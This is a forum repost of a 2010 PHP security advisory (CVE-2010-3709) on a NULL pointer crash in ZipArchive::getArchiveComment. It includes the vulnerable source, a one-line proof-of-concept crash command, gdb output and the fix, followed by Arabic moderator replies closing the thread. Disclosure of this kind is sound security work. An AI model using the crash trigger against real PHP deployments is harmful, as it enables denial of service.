Arrow Topic : PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference Arrow SecurityAlert : 90 CVE : CVE-2010-3709 Arrow SecurityRisk : High Security Risk High (About) Arrow Remote Exploit : No Arrow Local Exploit : Yes Arrow Exploit Given : Yes Arrow Credit : Maksymilian Arciemowicz Arrow Date : 05.11.2010 Arrow Affected Software : PHP 5.3.3/5.2.14 FREEWARE Network Scanner Security Events Montoring Detect network vulnerabilities. Freeware dld! Monitor event logs for security. Dld 30-day eval! Arrow Advisory Text : -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference ] Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.net/ Date: - - Dis.: 14.09.2010 - - Pub.: 05.11.2010 CVE: CVE-2010-3709 CWE: CWE-476 Status: Fixed in CVS Affected Software: - - PHP 5.3.3 - - PHP 5.2.14 Original URL: http://securityreason.com/achievement_securityalert/90 - --- 0.Description --- ZipArchive enables you to transparently read or write ZIP compressed archives and the files inside them. ZipArchive::getArchiveComment — Returns the Zip archive comment string ZipArchive::getArchiveComment ( void ) - --- 1. PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment (CWE-476) --- As we can see in http://svn.php.net/viewvc/php/php-sr...p/php_zip.c?re vision=303622&view=markup - --- 1945 static ZIPARCHIVE_METHOD(getArchiveComment) 1946 { 1947 struct zip *intern; 1948 zval *this = getThis(); 1949 long flags = 0; 1950 const char * comment; 1951 int comment_len = 0; 1952 1953 if (!this) { 1954 RETURN_FALSE; 1955 } 1956 1957 ZIP_FROM_OBJECT(intern, this); 1958 1959 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &flags) == FAILURE) { 1960 return; 1961 } 1962 1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags); <==== RETURN NULL AND -1 1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1); <===== NULL POINTER DEFERENCE HERE 1965 } - --- this method return string from zip_get_archive_comment() function. Now we need see this function, http://svn.php.net/viewvc/php/php-sr...p/lib/zip_get_ archive_comment.c?revision=284361&view=markup - --- 40 ZIP_EXTERN(const char *) 41 zip_get_archive_comment(struct zip *za, int *lenp, int flags) 42 { 43 if ((flags & ZIP_FL_UNCHANGED) 44 || (za->ch_comment_len == -1)) { 45 if (za->cdir) { 46 if (lenp != NULL) 47 *lenp = za->cdir->comment_len; 48 return za->cdir->comment; 49 } 50 else { 51 if (lenp != NULL) 52 *lenp = -1; <===================== -1 53 return NULL; <==================== NULL 54 } 55 } 56 57 if (lenp != NULL) 58 *lenp = za->ch_comment_len; 59 return za->ch_comment; 60 } - --- line 52 and 53 should return NULL pointer and (int)-1. In result RETURN_STRINGL() will be executed with: RETURN_STRINGL(NULL, -1, 1); and crash in memcpy(3). - --- 2. PoC --- cx@cx64:/www$ touch empty.zip cx@cx64:/www$ php -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();' Segmentation fault Debug: cx@cx64:/www$ gdb -q php Reading symbols from /usr/bin/php...(no debugging symbols found)...done. (gdb) r -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();' Starting program: /usr/bin/php -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();' [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x00007ffff530edbb in memcpy () from /lib/libc.so.6 (gdb) bt #0 0x00007ffff530edbb in memcpy () from /lib/libc.so.6 #1 0x0000000000679fa8 in _estrndup () #2 0x00000000006371e5 in ?? () #3 0x00000000006e793a in ?? () #4 0x00000000006bec20 in execute () #5 0x000000000068b44a in zend_eval_stringl () #6 0x000000000068b5c9 in zend_eval_stringl_ex () #7 0x000000000072743e in ?? () #8 0x00007ffff52a6c4d in __libc_start_main () from /lib/libc.so.6 #9 0x000000000042c6a9 in _start () (gdb) x/i $rip => 0x7ffff530edbb <memcpy+347>: rep movsq %ds%rsi),%es%rdi) (gdb) x/x $rsi 0x0: Cannot access memory at address 0x0 (gdb) x/x $rbp 0xffffffff: Cannot access memory at address 0xffffffff - --- 3. Fix --- Fix: Replace 1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags); 1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1); to 1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags); 1964 if(comment==NULL) RETURN_FALSE; 1965 RETURN_STRINGL((char *)comment, (long)comment_len, 1); PHP 5.3: http://svn.php.net/viewvc/php/php-sr...p/php_zip.c?vi ew=log PHP 5.2: http://svn.php.net/viewvc/php/php-sr...p/php_zip.c?vi ew=log MDVSA-2010:218 - --- 4. Greets --- Special thanks for Pierre Joye sp3x, Infospec, Adam Zabrocki 'pi3' - --- 5. Contact --- Author: SecurityReason.com [ Maksymilian Arciemowicz ] Email: - - cxib {a\./t] securityreason [d=t} com GPG: - - http://securityreason.com/key/Arciem...aksymilian.gpg http://securityreason.com/ http://cxib.net/ -----BEGIN PGP SIGNATURE----- iQIcBAEBAgAGBQJM1GnlAAoJEIO8+dzW5bUwd50QALOLATmkoM NdcAFKIJiWkeVu Ap7KiWRpEISDNKpEABunmPhbGKx9GQaEnVhpk1geKSqIGNy38U APuIkpocPoMg/i k4wu9jbXaNHJ+F5wmqpkGN6nTlBbWmji+ZrMErCHC7eCXRfPlF xciHyv/BtXpDN9 77dhOt/mP3sa3sJCRH/SpLhP/VMisqwDpsrltQIwkV+a95b2UO+DLHI9Qb4kx1X6 Q772hyp/pZSR7X+3NTC0oZkd9HFKeIuFciQQG9GsF6psqDnnwaFOb4CnLW x6qECv ApKADky+VtaxWgQbDM/XxvuNJpxyab2Bxq+mQhY6OZdOMf9idbwHGEPxQOYo53Kn CgCaItE5YuPmCm348rvGqgmMK8Rjju45KN4jD1mEQ9dE9nq7dO KQoWYOR3qEsOEt 630GIxXpeqs9KGbb4UpU4TG3LMtJSk4cE+O0EBsraxu+0fvrjy eQKKbbxDJvCnNY kAwz7ygjiF1aduRA3u+ZRtMglELMZ0Fw0ZcvmVMrntv4LgCgPW BPT/Bg6pMI4huL MP4mNqXQow5+05AX+DIrmvGUjsaq42tPa1I2Ddtj9hJi20TOEC aP+TmePL4669wr EuYnwIqH3CcdridCJVdtQ2glgNJ7/uYTaBsv4U+rFvxmwNRcds3pA6pc7H1zr34R 7m5AMBscTNQLJ1gkaUYi =2Ukb -----END PGP SIGNATURE-----
ما هذا؟؟؟؟؟؟؟؟؟؟؟ دوركات؟؟؟؟؟؟؟؟؟؟؟؟؟
عزيزي!! انت تقوم بنسخ الثغرات من مواقع الثغرات بدون أي شرح عنها، وحتى بدون تنسيقها. يغلق الموضوع، ولا تستمر على هذا النهج
الرجاء عدم المراسلة إلا للضرورة، اذا كان هنالك سؤال فيتم وضعه في قسم الاستفسارات بعد مراجعة قوانين القسم وطلبات الإختراق مرفوضة مسبقا.
قوانين المنتدى